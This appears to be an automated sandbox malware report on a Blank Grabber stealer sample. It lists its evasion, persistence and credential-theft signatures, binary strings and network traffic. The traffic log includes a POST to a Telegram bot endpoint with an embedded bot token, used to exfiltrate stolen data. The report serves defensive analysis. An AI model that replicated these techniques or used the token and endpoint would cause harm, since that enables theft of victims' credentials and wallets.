Windows Analysis Report
#U202f#U202f#U2005#U00a0.scr.exe

Overview

General Information

Sample name: #U202f#U202f#U2005#U00a0.scr.exe
renamed because original name is a hash value
Original sample name: .scr.exe
Analysis ID: 1487425
MD5: d87b402b821fa842d89283aa8654d9c0
SHA1: 30c086651e1bcd191163c01efbab55f51ec04691
SHA256: 791a66abbd58ac34dc72565455fb6e596bb14b93aa5b0109e0d53c60b87b5678
Tags: exe
Infos:

Detection

Blank Grabber
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Yara detected Blank Grabber
Yara detected Telegram RAT
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
Encrypted powershell cmdline option found
Found many strings related to Crypto-Wallets (likely being stolen)
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Modifies Windows Defender protection settings
Modifies existing user documents (likely ransomware behavior)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Removes signatures from Windows Defender
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Rar Usage with Password and Compression Level
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious Startup Folder Persistence
Suspicious powershell command line found
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Uses an obfuscated file name to hide its real file extension (RTLO)
Uses netsh to modify the Windows network and firewall settings
Uses the Telegram API (likely for C&C communication)
Very long command line found
Writes or reads registry keys via WMI
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI
Sigma detected: Powershell Defender Exclusion
Sigma detected: SCR File Write Event
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Screensaver Binary File Creation
Stores files to the Windows start menu directory
Too many similar processes found
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: #U202f#U202f#U2005#U00a0.scr.exe Avira: detected
Multi AV Scanner detection for submitted file
Source: #U202f#U202f#U2005#U00a0.scr.exe ReversingLabs: Detection: 71%
Source: #U202f#U202f#U2005#U00a0.scr.exe Virustotal: Detection: 72% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: #U202f#U202f#U2005#U00a0.scr.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E9901C CryptAcquireContextW,CryptGenRandom,CryptReleaseContext, 68_2_00007FF7F7E9901C
Source: #U202f#U202f#U2005#U00a0.scr.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038238108.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038502657.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 8C:\Users\user\AppData\Local\Temp\xuxqeuoy\xuxqeuoy.pdb source: powershell.exe, 00000029.00000002.2158201728.0000015301604000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035542606.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ucrtbase.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2340338024.00007FF8B7EB3000.00000002.00000001.01000000.00000004.sdmp
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036561449.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034682833.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC source: #U202f#U202f#U2005#U00a0.scr.exe, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2334291854.00007FF8A8552000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037539805.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038015630.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038599367.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2032727413.000001CCD86C3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2343520683.00007FF8BA253000.00000002.00000001.01000000.00000006.sdmp
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035844726.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037713341.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037350742.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037933852.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2342094311.00007FF8B9071000.00000040.00000001.01000000.00000007.sdmp
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034770359.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2340877451.00007FF8B8CB1000.00000040.00000001.01000000.00000012.sdmp
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036870702.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034476266.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035401905.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037858907.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2341409452.00007FF8B8F8C000.00000040.00000001.01000000.00000009.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2343290926.00007FF8B9F61000.00000040.00000001.01000000.0000000A.sdmp
Source: Binary string: 8C:\Users\user\AppData\Local\Temp\xuxqeuoy\xuxqeuoy.pdbhPu source: powershell.exe, 00000029.00000002.2158201728.0000015301604000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037034859.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ucrtbase.pdbUGP source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2340338024.00007FF8B7EB3000.00000002.00000001.01000000.00000004.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2342474030.00007FF8B93C1000.00000040.00000001.01000000.0000000D.sdmp
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038812496.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\python312.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2337720885.00007FF8A8C63000.00000040.00000001.01000000.00000005.sdmp
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035749504.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2333738469.00007FF8A819F000.00000040.00000001.01000000.00000014.sdmp
Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PICOpenSSL 3.0.11 19 Sep 20233.0.11built on: Wed Sep 27 22:33:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC;CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL || WITHIN_ARENA(temp->next)assertion failed: (char **)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) || WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/*0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_push_octet_ptrOSSL_PARAM_BLD_to_param..\s\crypto\params.c source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2334291854.00007FF8A8552000.00000040.00000001.01000000.00000010.sdmp
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037437086.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036777921.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034582747.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037785909.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2032727413.000001CCD86C3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2343520683.00007FF8BA253000.00000002.00000001.01000000.00000006.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2336728144.00007FF8A86E1000.00000040.00000001.01000000.0000000C.sdmp
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036215404.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038322803.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036953380.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000044.00000000.2208106332.00007FF7F7EF0000.00000002.00000001.01000000.0000001B.sdmp, rar.exe, 00000044.00000002.2226760663.00007FF7F7EF0000.00000002.00000001.01000000.0000001B.sdmp
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036690975.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2343092804.00007FF8B9841000.00000040.00000001.01000000.0000000E.sdmp
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038915705.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037125137.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037632410.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-string-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2037218357.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035650264.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\libssl-3.pdbEE source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2339702487.00007FF8A9355000.00000040.00000001.01000000.00000011.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2341409452.00007FF8B8F8C000.00000040.00000001.01000000.00000009.sdmp
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038406109.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2036066040.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2341828225.00007FF8B9061000.00000040.00000001.01000000.00000013.sdmp
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2035945476.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2341133552.00007FF8B8CD1000.00000040.00000001.01000000.0000000B.sdmp
Source: Binary string: D:\a\1\b\libssl-3.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2339702487.00007FF8A9355000.00000040.00000001.01000000.00000011.sdmp
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038117369.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2038707513.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_ssl.pdb source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2340532745.00007FF8B8B11000.00000040.00000001.01000000.0000000F.sdmp
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE27E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError, 0_2_00007FF73AE27E4C
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE27E4C _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError, 0_2_00007FF73AE27E4C
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE188D0 FindFirstFileExW,FindClose, 0_2_00007FF73AE188D0
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe Code function: 0_2_00007FF73AE31EE4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose, 0_2_00007FF73AE31EE4
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EA46EC FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError, 68_2_00007FF7F7EA46EC
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7EE88E0 FindFirstFileExA, 68_2_00007FF7F7EE88E0
Source: C:\Users\user\AppData\Local\Temp\_MEI17882\rar.exe Code function: 68_2_00007FF7F7E9E21C FindFirstFileW,FindClose,CreateFileW,DeviceIoControl,CloseHandle, 68_2_00007FF7F7E9E21C
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior
Source: C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af\ Jump to behavior

Networking
barindex
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
May check the online IP address of the machine
Source: unknown DNS query: name: ip-api.com
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.1.0
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: ip-api.com
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: unknown HTTP traffic detected: POST /bot6932251862:AAHJgssLa4FQxIPJOSZL101THMOx2PWVwSE/sendDocument HTTP/1.1Host: api.telegram.orgAccept-Encoding: identityContent-Length: 692816User-Agent: python-urllib3/2.1.0Content-Type: multipart/form-data; boundary=6d93bc963fb1d0e6724c699c271a2303
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040742387.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digi
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041104820.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042909763.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040242282.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.co
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042073233.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033391617.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033733200.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033990521.000001CCD86D0000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042177471.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041104820.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034348641.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042073233.000001CCD86D0000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033839925.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042909763.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034111679.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040742387.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034224665.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033990521.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033195251.000001CCD86C3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040242282.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040865247.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033558347.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
